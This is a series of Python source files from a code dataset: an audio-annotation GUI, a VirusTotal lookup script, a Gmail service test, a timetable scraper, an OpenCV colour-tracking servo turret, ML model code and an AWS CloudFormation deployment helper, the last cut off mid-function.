+ '_auto'\n dest_name = '.'.join(dest_name_list)\n if self.core.settings['forced_aligner'] == 'sppas':\n pass\n # aligner = Sppas(self.filenames['wav'], self.filenames['segment'], self.py, self.text)\n else:\n aligner = MfaImported(self.filenames['wav'], self.filenames['segment'], self.py, self.text, install=self.install)\n\n def mark():\n try:\n cwd = os.getcwd()\n aligner.execute_alignment()\n os.chdir(cwd)\n if not self.main_running:\n return\n except Exception as e:\n self.auto_marking = False\n messagebox.showerror('自动标注错误(生成)', f'自动标注发生错误\\n可能是由于拼音和符号未对齐,音频太长、发音不清晰或音质太差\\n请尝试重新录音或切分,或使用手动标注')\n raise e\n try:\n aligner.transcribe_to(dest_name, only_vowels)\n except Exception as e:\n self.auto_marking = False\n messagebox.showerror('自动标注错误(转写)',\n '自动标注结果错误,可能是由于音频太长、发音不清晰或音质太差,请使用切分将每个分段的音频保持在30秒以内(10秒内最佳)\\n也可直接开始手动标注')\n raise e\n with open(dest_name, 'rb') as f:\n data = f.read()\n with open(self.filenames['annotation'], 'wb') as f:\n f.write(data)\n self.vtalker.auto_tg_name = dest_name\n self.tg_need_create = False\n self.auto_marking = False\n self._make_tg(reopen=False, use_praat=False)\n winsound.MessageBeep()\n\n self.auto_marking = True\n if in_pipeline:\n mark()\n else:\n threading.Thread(target=mark).start()\n\n def _seg(self):\n def new_seg(seg_lengths=None):\n if seg_lengths is None:\n content = self.text\n else:\n ori = self.text\n text_segs = []\n cur_start_idx = 0\n for lenth in seg_lengths:\n text_segs.append(ori[cur_start_idx: cur_start_idx + lenth])\n cur_start_idx += lenth\n content = '\\n'.join(text_segs)\n tl = Toplevel(self.root)\n tl.title('文本分段')\n root_loc = self.root.geometry().split('+')[1:3]\n tl.geometry(f'420x390+{int(root_loc[0]) + 100}+{int(root_loc[1]) + 50}')\n self.root.attributes('-disabled', 1)\n\n with wave.open(self.filenames['wav'], 'r') as f:\n length_second = f.getnframes() / f.getframerate()\n recommend = max(int(length_second / 15), 1)\n\n def close():\n self.root.attributes('-disabled', 0)\n self.root.focus()\n tl.destroy()\n\n tl.protocol('WM_DELETE_WINDOW', close)\n tl.attributes('-toolwindow', 1)\n tl.attributes('-topmost', 1)\n txt = Text(tl, height=13, width=50, spacing3=12)\n txt.insert('insert', content)\n txt.pack(fill=BOTH)\n txt.focus()\n\n def save(event=None):\n\n # def save_py(event=None):\n # text_py = txt_py.get(1.0, \"end\")\n # texts_py = [x for x in text_py.split('\\n') if x]\n # lengths_py = [len(t) for t in texts_py]\n # last_start_py = 0\n # pys_py = []\n # for l_py in lengths_py:\n # pys_py.append(self.py[last_start_py:last_start_py + l_py])\n # last_start_py += l_py\n # if last_start_py > len(self.py):\n # break\n\n def insert_newline(tex):\n txl = list(tex)\n sil_idxs = []\n for i, py_ in enumerate(self.py):\n if py_ == 'sil':\n sil_idxs.append(i)\n\n counter = 0\n for sil_idx in sil_idxs:\n txl.insert(sil_idx + counter, '\\n')\n counter += 1\n txl.insert(sil_idx + counter + 1, '\\n')\n counter += 1\n\n return ''.join(txl)\n\n text = txt.get(1.0, \"end\").strip()\n if '\\n' not in text:\n answer = messagebox.askyesnocancel('自动切分', '未手动分段,将按照sil自动切分,选否则视全部内容为一个段落')\n if answer is None:\n return\n elif answer:\n text = insert_newline(text)\n else:\n pass\n texts = [x for x in text.split('\\n') if x]\n lengths = [len(t) for t in texts]\n\n if not sum(lengths) == len(self.py):\n messagebox.showerror('长度不匹配', '文字数量与拼音数量不符,无法继续切分')\n return\n create_seg_tg(self.filenames['wav'], self.filenames['segment'], texts)\n self.set_filename_func(dest=self.dest, seg_tg=self.filenames['segment'])\n edit_seg()\n\n self.root.attributes('-disabled', 0)\n tl.destroy()\n\n # create another Toplevel\n # last_start = 0\n # pys = []\n # for l in lengths:\n # pys.append(self.py[last_start:last_start + l])\n # last_start += l\n # if last_start > len(self.py):\n # break\n # content_py = '\\n'.join(pys)\n # tl_py = Toplevel(tl)\n # tl_py.attributes('-toolwindow', 1)\n # tl_py.attributes('-topmost', 1)\n # tl_py.title('确认分段')\n # tl_loc = tl.geometry().split('+')[1:3]\n # tl_py.geometry(f'420x390+{int(tl_loc[0]) + 100}+{int(tl_loc[1]) + 50}')\n # txt_py = Text(tl_py, height=25, width=50)\n # txt_py.insert('insert', content_py)\n # txt_py.pack(fill=BOTH)\n # txt_py.focus()\n\n # Label(tl_py, text='分割可能有误,请确认拼音分割结果,以换行分隔').pack()\n # b_py = Button(tl_py, text='确认', command=save_py)\n # b_py.pack()\n # 保存到tg文件里。在文字等更改后仍然保存。需要在tg中使用文字而不是拼音以方便标注时的识别。实际上利用的是文字的个数对齐拼音。\n # 所以在切分前一定要保证拼音和汉字的对齐关系,然后一直切文字而不是拼音。把根据tg分段识别再合并(在最终输出tg的阶段)的功能放在sppasDealer里\n # 在切分开的两侧都记录有几个静音符号,合成时去核对,应当有几个就修正为几个\n\n def press_refresh(event=None):\n text = txt.get(1.0, \"end\")\n paras = text.split('\\n')\n\n def update_para_num():\n pn = 0\n for para in paras:\n if para:\n pn += 1\n label_txt_var.set(f'{pn}段(应多于{recommend}),以换行分隔,勿做其他编辑~')\n\n update_para_num()\n\n label_txt_var = StringVar()\n press_refresh()\n Label(tl, textvariable=label_txt_var).pack()\n\n txt.bind('<KeyPress>', press_refresh)\n\n b = Button(tl, text='确认', command=save)\n b.pack(side=BOTTOM)\n\n def edit_seg():\n self.seg_editing = True\n start_edit(self.filenames['wav'], self.filenames['segment'], False, False)\n\n def save(event=None):\n self.seg_editing = False\n self.seg_existing = True\n self.bseg.config(text='切分', command=self._seg)\n try:\n os.remove('temp.praat')\n except:\n pass\n\n self.bseg.config(text='保存', command=save)\n\n if self.seg_existing:\n choice = messagebox.askyesnocancel('切分已存在',\n '已经进行过切分,是否继续编辑先前的切分标注?\\n\\n是:查看编辑先前的时间标注\\n否:完全重新进行文字分段和时间标注\\n取消:查看先前的文字分段,重新标注时间')\n if choice is None:\n lengths = get_seg_lengths(self.filenames['segment'])\n new_seg(lengths)\n elif choice:\n edit_seg()\n else:\n new_seg()\n else:\n new_seg()\n\n def _output(self):\n # result = self.vtalker.get_result(self.filenames['wav'], 1,\n # consonant_control=self.core.settings['consonant_control'])\n # self.set_data_func(self.dest, result, mark)\n mark, p_id, pool = self.pre_set_data_func(self.dest)\n self.vtalker.id_name = p_id\n mp_list = multiprocessing.Manager().list()\n\n # threading.Thread(target=render_data).start()\n def ec(e):\n raise e\n\n # 把可以被pickle的函数作为参数传入,不直接使用类的方法,绕过去\n pool.apply_async(self._render_func,\n (self.vtalker.get_result, mp_list, self.filenames['wav'], 1,\n self.core.settings['consonant_control']),\n callback=lambda x: self.set_data_func(self.dest, mp_list, mark, p_id),\n error_callback=ec) # 本质上是pickle后释放到新空间的。\n self.exit_()\n\n def auto_pipeline(self):\n self.text_tl.destroy()\n self.root.title('单线程过程...')\n self._tts(in_pipeline=True)\n self._auto_mark(in_pipeline=True)\n self._output()\n\n def run(self):\n self.root.mainloop()\n\n def tl(self):\n return self.root\n\n","repo_name":"GalaxieT/VvTalk","sub_path":"reliance/imitation/humanConverter.py","file_name":"humanConverter.py","file_ext":"py","file_size_in_byte":41558,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"78"} +{"seq_id":"36233637553","text":"import pandas as pd\nimport requests\n\n# Define your VirusTotal API key here\napi_key = 'YOUR_VIRUSTOTAL_API_KEY'\n\n# Function to get VirusTotal score and link\ndef get_vt_score_and_link(indicator):\n endpoint = 'https://www.virustotal.com/api/v3/urls/' + indicator\n headers = {'x-apikey': api_key}\n response = requests.get(endpoint, headers=headers)\n json_response = response.json()\n\n if response.status_code == 200 and 'data' in json_response:\n data = json_response['data']\n return data['attributes']['last_analysis_stats']['malicious'], data['attributes']['last_analysis_stats']['harmless'], data['links']['self']\n else:\n return None, None, None\n\n# Load your CSV file into a DataFrame\ndf = pd.read_csv('your_input.csv') # Replace 'your_input.csv' with your CSV file path\n\n# Create 'VT Score' and 'VT Link' columns initially with empty values\ndf['VT Score'] = \"\"\ndf['VT Link'] = \"\"\n\n# Iterate through rows in the DataFrame\nfor index, row in df.iterrows():\n indicator = row['Indicator Value']\n \n if indicator:\n vt_malicious, vt_harmless, vt_permalink = get_vt_score_and_link(indicator)\n if vt_malicious is not None:\n df.at[index, 'VT Score'] = f'Malicious: {vt_malicious}, Harmless: {vt_harmless}'\n df.at[index, 'VT Link'] = vt_permalink\n\n# Save the updated DataFrame to a new CSV file\ndf.to_csv('output.csv', index=False) # Replace 'output.csv' with your desired output file name\n","repo_name":"Aaqib29/Rca","sub_path":"Tp.py","file_name":"Tp.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70784232892","text":"print ('Введите min и max значение и я посчитаю для \\nВас сумму цифр между ними включая min и max')\r\na=input()\r\nb=input()\r\nS=0\r\ni=int(a)\r\nwhile i<int(b):\r\n i=i+1\r\n S=S+i\r\nS=S+int(a)\r\nprint ('Сумма чисел =', S)\r\n\r\n\r\n\r\n","repo_name":"XUTPbIU-6O6EP/HW1","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70173220733","text":"def BitwiseOne(strArr):\n\n # code goes here\n answer = \"\"\n\n for i in range(0, len(strArr[0])):\n if strArr[0][i] == \"0\" and strArr[1][i]==\"0\":\n answer += \"0\"\n else:\n answer +=\"1\"\n return answer\n\n# keep this function call here \nprint(BitwiseOne(input()))\n","repo_name":"Ilyasnayle/Challanges-Solution-Python","sub_path":"bitwiseone.py","file_name":"bitwiseone.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"38024801079","text":"import unittest\nfrom unittest.mock import Mock\nfrom google_api.gmail_service import GmailService\n\n\nclass TestGmailService(unittest.TestCase):\n def setUp(self):\n self.build_function = Mock()\n self.build_function().users().getProfile(userId='me').execute.return_value = {\n 'emailAddress': 'test@gmail.com'\n }\n self.service = GmailService(self.build_function)\n\n self.body_encoded = 'Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PSJ1dGYtOCIKQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogN2JpdApNSU1FLVZlcnNpb246IDEuMApGcm9tOiB0ZXN0QGdtYWlsLmNvbQpUbzogcmVjZWlwaWVudEBnbWFpbC5jb20KU3ViamVjdDogc3ViamVjdAoKYm9keQo='\n\n def test_build(self):\n creds = {'some': 'credentials'}\n self.service.build(creds)\n self.assertIsNotNone(self.service.get_service())\n self.assertIsNotNone(self.service.get_email())\n\n def test_destroy(self):\n creds = {'some': 'credentials'}\n self.service.build(creds)\n self.service.destroy()\n self.assertIsNone(self.service.get_service())\n self.assertIsNone(self.service.get_email())\n\n def test_send(self):\n creds = {'some': 'credentials'}\n self.service.build(creds)\n\n self.service.send('receipient@gmail.com', 'subject', 'body')\n self.service.get_service().users().messages().send.assert_called_once_with(\n userId='me',\n body={'raw': self.body_encoded}\n )\n\n def test_send_without_recipient(self):\n creds = {'some': 'credentials'}\n self.service.build(creds)\n\n self.service.send('', 'subject', 'body')\n self.service.get_service().users().messages().send.assert_not_called()\n\n def test_create_message(self):\n self.service._email = 'test@gmail.com'\n message = self.service._create_message(\n 'receipient@gmail.com', 'subject', 'body')\n self.assertEqual(message['raw'], self.body_encoded)\n\n def test_get_email(self):\n self.service._email = 'test@gmail.com'\n self.assertEqual(self.service.get_email(), 'test@gmail.com')\n","repo_name":"nualn/MassMailer","sub_path":"src/tests/unit/gmail_service_test.py","file_name":"gmail_service_test.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"41917642522","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport json\r\n\r\n\r\ndef pars_timetable(group, date):\r\n \"\"\"\r\n Функция парсинга расписания. На вход получает id группы\r\n и дату. Делает запрос к серверу, передавая номер группы \r\n и дату. номер группы и дата должны вводится строками,\r\n дата в формате 'год-месяц-день': '2023-03-19' и т.д.\r\n \"\"\"\r\n ans = ''\r\n res = ''\r\n t = 0\r\n tableUrl = f'https://edu.donstu.ru/api/Rasp?idGroup={group}&sdate={date}'\r\n\r\n # Проверяем корректность группы, если длинна названия больше 5 или если название группы состоит не просто из цифр \r\n if len(group) < 5 or (not(group.isdigit())):\r\n return 'Неккоректно указана группа.'\r\n \r\n # Проверяем корректность даты.\r\n if len(date) < 10 or \\\r\n (not(((date[0:4]).isdigit()) and \\\r\n ((date[5:7]).isdigit()) and \\\r\n ((date[8:]).isdigit()) and \\\r\n (date[4] == '-') and \\\r\n (date[7] == '-'))):\r\n return 'Некорректная дата.'\r\n \r\n # Делаем паузу, чтобы не грузить сайт.\r\n time.sleep(1)\r\n\r\n # Пытаемся выполнить запрос(Не больше пяти попыток) с паузами между попытками.\r\n while res == '' and t < 5:\r\n t += 1\r\n try:\r\n res = requests.get(tableUrl)\r\n break\r\n except:\r\n res = ''\r\n time.sleep(3)\r\n \r\n # Если результат пуст - значит мы так ничего и не получили от сайта на предыдущем этапе. \r\n if res == '':\r\n ans = 'Неудалось выполнить запрос. Проверьте корректность ввода'\r\n # Иначе создаём список пар, проходимся по результату и заполняем этот список, если дата пары совпадает с указанной.\r\n else:\r\n try:\r\n # Создаем список lessonsList в который мы будем записывать расписание\r\n lessonsList = []\r\n # Мы переводим res к json формату\r\n jRes = json.loads(res.text)\r\n # В полученном json'e ищем расписание\r\n rasp = jRes['data']['rasp']\r\n \r\n # Проходимся по элементам и находим те, которые удовлетворяют нас по дате и затем добавляем их в список пар\r\n for el in rasp:\r\n elDate = el['дата'].split('T')[0]\r\n if elDate == date:\r\n elDict = {}\r\n elDict['Дата'] = elDate\r\n elDict['Начало'] = el['начало']\r\n elDict['Конец'] = el['конец']\r\n elDict['День недели'] = el['день_недели']\r\n elDict['Дисциплина'] = el['дисциплина']\r\n elDict['Преподаватель'] = el['преподаватель']\r\n elDict['Аудитория'] = el['аудитория']\r\n lessonsList.append(elDict)\r\n except:\r\n ans = 'Непредвиденная ошибка.'\r\n # Если lessonsList пустой, значит на сайте нет расписания и мы выводим, что пар нет \r\n if len(lessonsList) == 0:\r\n ans = 'В этот день нет пар или расписание на это число недоступно.'\r\n # Иначе просто волучаем результат\r\n else:\r\n ans = lessonsList\r\n\r\n # Возвращаем ответ\r\n return ans\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n print(pars_timetable('44439', '2023-03-14'))\r\n print(pars_timetable('44440', '2023-03-14'))\r\n print(pars_timetable('44441', '2023-03-14'))\r\n print(pars_timetable('44442', '2023-03-14'))\r\n print(pars_timetable('44442', '2023-03-10'))\r\n print(pars_timetable('44439', '2023-03-1'))\r\n print(pars_timetable('44439', '2023-03-04'))\r\n print(pars_timetable('4443', '2023-03-14'))","repo_name":"denbush03/TgBotPython","sub_path":"pars.py","file_name":"pars.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36680696786","text":"import json\n\n\nclass VQRAEConfig(object):\n def __init__(self, dataset, x_dim, h_dim, z_dim, adversarial_training, preprocessing, use_overlapping, rolling_size,\n epochs, milestone_epochs, lr, gamma, batch_size, weight_decay, annealing, early_stopping,\n loss_function, lmbda, use_clip_norm, gradient_clip_norm, rnn_layers, use_PNF, PNF_layers,\n use_bidirection, robust_coeff, display_epoch, save_output, save_figure, save_model, load_model,\n continue_training, dropout, use_spot, use_last_point, save_config, load_config, server_run, robustness,\n pid):\n\n self.dataset = dataset\n self.x_dim = x_dim\n self.h_dim = h_dim\n self.z_dim = z_dim\n self.adversarial_training = adversarial_training\n self.preprocessing = preprocessing\n self.use_overlapping = use_overlapping\n self.rolling_size = rolling_size\n self.epochs = epochs\n self.milestone_epochs = milestone_epochs\n self.lr = lr\n self.gamma = gamma\n self.batch_size = batch_size\n self.weight_decay = weight_decay\n self.annealing = annealing\n self.early_stopping = early_stopping\n self.loss_function = loss_function\n self.lmbda = lmbda\n self.use_clip_norm = use_clip_norm\n self.gradient_clip_norm = gradient_clip_norm\n self.rnn_layers = rnn_layers\n self.use_PNF = use_PNF\n self.PNF_layers = PNF_layers\n self.use_bidirection = use_bidirection\n self.robust_coeff = robust_coeff\n self.display_epoch = display_epoch\n self.save_output = save_output\n self.save_figure = save_figure\n self.save_model = save_model\n self.load_model = load_model\n self.continue_training = continue_training\n self.dropout = dropout\n self.use_spot = use_spot\n self.use_last_point = use_last_point\n self.save_config = save_config\n self.load_config = load_config\n self.server_run = server_run\n self.robustness = robustness\n self.pid = pid\n\n def import_config(self, import_json):\n \"\"\"Load settings dict from import_json (path/filename.json) JSON-file.\"\"\"\n\n with open(import_json, 'r') as fp:\n settings = json.load(fp)\n\n for key, value in settings.items():\n setattr(self, key, value)\n\n def export_config(self, export_json):\n \"\"\"Save settings dict to export_json (path/filename.json) JSON-file.\"\"\"\n\n with open(export_json, 'w+') as fp:\n json.dump(vars(self), fp)\n\n def to_string(self):\n string = ''\n for key, value in vars(self).items():\n string = string + key + ' = ' + str(value) + ', '\n return string\n","repo_name":"tungk/Bi-VQRAE","sub_path":"utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"24913926627","text":"import cv2\nimport math\nimport serial\nimport numpy as np\nimport struct\ncap=cv2.VideoCapture(0)\nser = serial.Serial()\nser.baudrate = 250000#the baud rate over which the arduino and python will communicate\nser.port = 'COM11' # change it for your owm com port\nser.open()\npre_servo_lower=0\npre_servo_upper=0\npre_servo_lower1=0\npre_servo_upper1=0\npre_center_x=0\npre_center_y=0\nstart_time=0\nkernel = np.ones((7,7),np.uint8)\nglobal center_x,center_y\ndef nothing(x):\n\tpass\ndef calibrateColor(color, def_range): # this function sets the color of the object that you want to detect\n global kernel\n name = 'Calibrate ' + color\n cv2.namedWindow(name)\n cv2.createTrackbar('Hue', name, def_range[0][0] + 20, 180,nothing)\n cv2.createTrackbar('Sat', name, def_range[0][1], 255,nothing)\n cv2.createTrackbar('Val', name, def_range[0][2], 255,nothing)\n while (1):\n ret, frameinv = cap.read(0)\n frame = cv2.flip(frameinv, 1)\n\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n hue = cv2.getTrackbarPos('Hue', name)\n sat = cv2.getTrackbarPos('Sat', name)\n val = cv2.getTrackbarPos('Val', name)\n\n lower = np.array([hue - 20, sat, val])\n upper = np.array([hue + 20, 255, 255])\n\n mask = cv2.inRange(hsv, lower, upper)\n eroded = cv2.erode(mask, kernel, iterations=1)\n dilated = cv2.dilate(eroded, kernel, iterations=1)\n\n cv2.imshow(name, dilated)\n\n k = cv2.waitKey(5) & 0xFF\n if k == ord(' '):\n cv2.destroyWindow(name)\n return np.array([[hue - 20, sat, val], [hue + 20, 255, 255]])\n elif k == ord('d'):\n cv2.destroyWindow(name)\n return def_range\n#blue_range = np.array([79, 115, 150],[120, 255, 255])\nred_range = np.array([[158,85,72],[180,255,255]])\n#blue_range = calibrateColor('Red', blue_range)\nred_range = calibrateColor('red', red_range)\nwhile(1):\n _,img=cap.read()\n img=cv2.flip(img,1)#to get a flipped image\n height,width,depth=img.shape\n img=cv2.resize(img,(height*3,int(width*1.1)))\n hsv=cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\n kernal = np.ones((5, 5), \"uint8\")\n mask = cv2.inRange(hsv, red_range[0], red_range[1])\n #mask1=cv2.(hsv,blue_range)\n eroded = cv2.erode(mask, kernel, iterations=1)\n mask = cv2.dilate(eroded, kernel, iterations=1)\n\n (contours,hierarchy)=cv2.findContours(mask,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n for pic,contour in enumerate(contours):\n area=cv2.contourArea(contour)\n if(area>100):\n x,y,w,h=cv2.boundingRect(contour)\n img=cv2.rectangle(img,(x,y),(x+w,y+h),(0,0,255),2)\n cv2.putText(img,\"\",(x,y),cv2.FONT_HERSHEY_SIMPLEX,0.7,(0,0,255))\n center_x=x+(w/2) #calculate the center X coordinate of the detected object\n center_y=y+(h/2) #calculate the center Y coordinate of the detected object\n # print(center_x)\n servo_x=math.ceil(math.degrees(math.atan(center_x/600)))# convert the pixel coordinate into angles\n if servo_x>pre_servo_lower and servo_x<pre_servo_upper :\n\n pass\n else :\n #print(servo_x)\n ser.write(str(servo_x).encode()+'\\n'.encode()) #write the angle values on the X axis servo \n ser.write('a'.encode()+'\\n'.encode()) #write 'a' to distinguish the anfle values for the X axis only\n pre_servo_lower=servo_x-3 #takes a range of -3 to +3 pixels to reduce the number of values written\n pre_servo_upper=servo_x+3\n servo_y = math.ceil(math.degrees(math.atan(center_y/400))) # convert the pixel coordinate into angles\n if servo_y>pre_servo_lower1 and servo_y<pre_servo_upper1 :\n if (center_x - pre_center_x) ** 2 <= 50 and (center_y - pre_center_y) ** 2 <= 50:\n start_time = start_time+1 #it counts the time for which the object remained stationary \n #print('no values written for y')\n else :\n ser.write(str(servo_y).encode()+'\\n'.encode()) #write the angle values on the Y axis servo\n ser.write('b'.encode()+'\\n'.encode()) # write 'b' to distinguish the angle value for Y axis only\n pre_servo_lower1=servo_y-3\n pre_servo_upper1=servo_y+3\n start_time=0;\n pre_center_x=center_x\n pre_center_y=center_y\n if start_time>=15:\n ser.write('c'.encode() + '\\n'.encode())\n print(\"shoot\")\n start_time=0\n cv2.imshow('Color Tracking',img)\n k=cv2.waitKey(50)& 0xFF\n if k==27: #press esc key to close the window\n break\ncv2.destroyAllWindows()","repo_name":"U-t-k-a-r-s-h/Autonomous-aim-and-shoot-gun-OpenCV","sub_path":"Self_ Aim_and_Shoot.py","file_name":"Self_ Aim_and_Shoot.py","file_ext":"py","file_size_in_byte":4762,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9057183696","text":"import torch\nimport torch.nn as nn\nfrom mmcv.cnn import normal_init\n\nfrom ..registry import HEADS\nfrom .. import builder\n\n@HEADS.register_module\nclass TripletLossHead(nn.Module):\n \"\"\"Head for contrastive learning.\n \"\"\"\n\n def __init__(self, predictor, gamma=2, size_average=True):\n super(TripletLossHead, self).__init__()\n self.predictor = builder.build_neck(predictor)\n self.size_average = size_average\n self.ranking_loss = nn.MarginRankingLoss(margin=100.)\n self.gamma = gamma\n\n def init_weights(self, init_linear='normal'):\n self.predictor.init_weights(init_linear=init_linear)\n\n def forward(self, input, target):\n pred = self.predictor([input])[0]\n pred_norm = nn.functional.normalize(pred, dim=1)\n target_norm = nn.functional.normalize(target, dim=1)\n n = input.size(0)\n dist = -2. * torch.matmul(pred_norm, target_norm.t())\n idx = torch.arange(n)\n mask = idx.expand(n, n).eq(idx.expand(n, n).t())\n dist_ap, dist_an = [], []\n for i in range(n):\n dist_ap.append(dist[i][mask[i]].max().unsqueeze(0))\n down_k, _ = torch.topk(dist[i][mask[i]==0], 10, dim=-1, largest=False)\n down_k = down_k[1:].mean().unsqueeze(0)\n dist_an.append(down_k)\n # dist_an.append(dist[i][mask[i] == 0].median().unsqueeze(0))\n dist_ap = torch.cat(dist_ap)\n dist_an = torch.cat(dist_an)\n y = torch.ones_like(dist_an)\n loss_triplet = self.ranking_loss(dist_an, self.gamma * dist_ap, y)\n return dict(loss=loss_triplet)\n \n","repo_name":"wanggrun/triplet","sub_path":"openselfsup/models/heads/triplet_loss_head.py","file_name":"triplet_loss_head.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"78"} +{"seq_id":"30078167176","text":"import abc\nimport base64\nimport datetime as dt\nimport enum\nimport itertools\nimport json\nimport logging\nimport os\nimport random\nimport string\nimport subprocess\nimport time\nimport uuid\n\nimport boto3\nfrom cached_property import cached_property\nimport click\nimport ruamel.yaml as ryaml\n\nimport revolio as rv\nimport revolio.manager\n\n\nUNCHANGED_PARAM = object()\n\n\n# _directory[SERVICE][ENV] = CommandContext\n_directory = {}\n\n\n_log = logging.getLogger(__name__)\n\n\ncf_client = boto3.client('cloudformation')\ns3_client = boto3.client('s3')\n\n\nclass Env(enum.Enum):\n PROD = 'prd'\n STAGE = 'stg'\n DEV = 'dev'\n TEST = 'tst'\n\n\nclass RevolioCommandContext(metaclass=abc.ABCMeta):\n\n SERVICE = None\n env = None\n\n STACK = None\n ECR_STACK = None\n\n Component = None\n\n SERVICE_CONTEXT = None\n\n def recreate_tables(self):\n # todo: deal with env var config\n\n if (self.env in [Env.PROD, Env.STAGE]) and not self._prompt_user(f'recreate {self.env.name.lower()} tables'):\n return\n\n srv_ctx = self.SERVICE_CONTEXT()\n with srv_ctx.app.flask_app.app_context():\n srv_ctx.db.recreate_tables()\n\n @cached_property\n def stack(self):\n return self.STACK(self, self.stack_config)\n\n @property\n def project_name(self):\n return self.SERVICE[0]\n\n @property\n def project_tag(self):\n return self.SERVICE[1]\n\n @cached_property\n def ecr_stack(self):\n return self.ECR_STACK(self, self.stack_config['Ecr'])\n\n def __init__(self, resources_path):\n super(RevolioCommandContext, self).__init__()\n self._r_path = resources_path\n\n def __init_subclass__(cls):\n super().__init_subclass__()\n srv, env = cls.SERVICE[0] if cls.SERVICE else None, cls.env.name.lower() if cls.env else None\n\n if srv not in _directory:\n _directory[srv] = {}\n\n assert env not in _directory[srv]\n _directory[srv][env] = cls\n\n def build_template(self):\n self._save_resource('stack/template.json', self.stack.get_template())\n\n def create_stack(self):\n self._upload_template_s3()\n\n cf_client.create_stack(\n OnFailure='DELETE',\n **self._get_stack_call_params(True),\n )\n\n self._log_stack_status()\n\n def release_img(self, component, dm_name):\n tag = self.build_img(component, dm_name)\n _push(tag, dm_name)\n _log.info(f'Pushed {tag}')\n\n def build_img(self, component, dm_name, *, no_cache=False):\n component = self.Component[component]\n tag = rv.manager.util.get_next_image_tag(self.repo_uri, *component.value)\n\n build_flags = ' '.join([\n '--no-cache' if no_cache else '',\n ])\n\n _execute_commands(\n # f'docker-machine start {dm_name}',\n # f'eval $(docker-machine env {dm_name})',\n f'docker build {build_flags} -f {self.get_dockerfile_path(component)} -t {tag} {self.base_path}'\n )\n\n _log.info(f'Built {tag}')\n return tag\n\n @cached_property\n def command_id(self):\n \"\"\"Id for the currently executing revolio manager command.\"\"\"\n return str(uuid.uuid4())\n\n @cached_property\n def _src_path(self):\n return os.path.abspath(os.path.join(\n os.path.abspath(os.path.dirname(__file__)),\n '..', # revolio\n '..', # src\n ))\n\n @cached_property\n def repo_uri(self):\n return self.stack_config['Ecr']['Repo']['Url']\n\n def get_dockerfile_path(self, component):\n a, b = component.value\n return self._get_data_path('dockerfiles', f'Dockerfile-{a}-{b}')\n\n @cached_property\n def revolio_config(self):\n return self.stack_config['Revolio']\n\n @cached_property\n def template_key(self):\n return '{service}-template-{timestamp}-{uuid}'.format(\n service=self.SERVICE[1],\n timestamp=dt.datetime.now().strftime('%Y-%m-%d-%H-%M-%S'),\n uuid=uuid.uuid4(),\n )\n\n @cached_property\n def stack_config(self):\n return self._get_yaml_resource('stack/config.yaml')\n\n @cached_property\n def raw_stack_config(self):\n return self._get_string_resource('stack/config.yaml')\n\n @cached_property\n def stack_template(self):\n return self._get_string_resource('stack/template.json')\n\n @cached_property\n def stack_name(self):\n return self.stack_resources['StackName']\n\n @cached_property\n def stack_resources(self):\n return self._get_yaml_resource('stack/resources.yaml')\n\n def get_stack_parameters(self, initial):\n p = self.stack.get_parameters()\n return p\n\n @cached_property\n def stack_tags(self):\n return self.stack_config['Tags']\n\n @cached_property\n def base_path(self):\n return os.path.abspath(os.path.join(\n os.path.abspath(os.path.dirname(__file__)),\n '..', # nudge/src/nudge/\n '..', # nudge/src/\n '..', # nudge/\n ))\n\n @cached_property\n def stack_change_set_name(self):\n timestamp = dt.datetime.now().strftime('%Y-%m-%d-%H-%M-%S')\n tag = uuid.uuid4()\n return f'nudge-change-set-{timestamp}-{tag}'\n\n # private\n\n def _get_yaml_resource(self, filename):\n return self._get_resource(filename, lambda f: ryaml.load(f, Loader=ryaml.Loader))\n\n def _get_json_resource(self, filename):\n return self._get_resource(filename, lambda f: json.load(f))\n\n def _get_string_resource(self, filename):\n return self._get_resource(filename, lambda f: f.read())\n\n def _get_resource(self, filename, parse):\n with open(self._get_resource_path(filename)) as f:\n return parse(f)\n\n def _save_resource(self, filename, data):\n with open(self._get_resource_path(filename), 'w') as f:\n f.write(data)\n\n def _get_resource_path(self, name):\n return os.path.join(self._r_path, 'services', self.SERVICE[0], 'envs', self.env.name.lower(), name)\n\n def _get_data_path(self, *args):\n return os.path.join(self._src_path, self.SERVICE[0], 'infrastructure', 'data', *args)\n\n def update_stack(self, change_set):\n self._upload_template_s3()\n\n if change_set:\n self._change_set_update()\n else:\n self._blind_update()\n\n def _upload_template_s3(self):\n s3_client.put_object(\n Bucket=self.revolio_config['Bucket'],\n Body=self.stack_template,\n Key=self.template_key,\n )\n\n def _blind_update(self):\n cf_client.update_stack(\n **self._get_stack_call_params(False),\n )\n\n prev_event = cf_client.describe_stack_events(StackName=self.stack_name)['StackEvents'][0]['EventId']\n self._log_stack_status(prev_event=prev_event)\n\n def _change_set_update(self):\n cf_client.create_change_set(\n ChangeSetName=self.stack_change_set_name,\n **self._get_stack_call_params(False),\n )\n\n _log.info(f'Created change set {self.stack_change_set_name}')\n\n changes = self._get_change_set_changes()\n 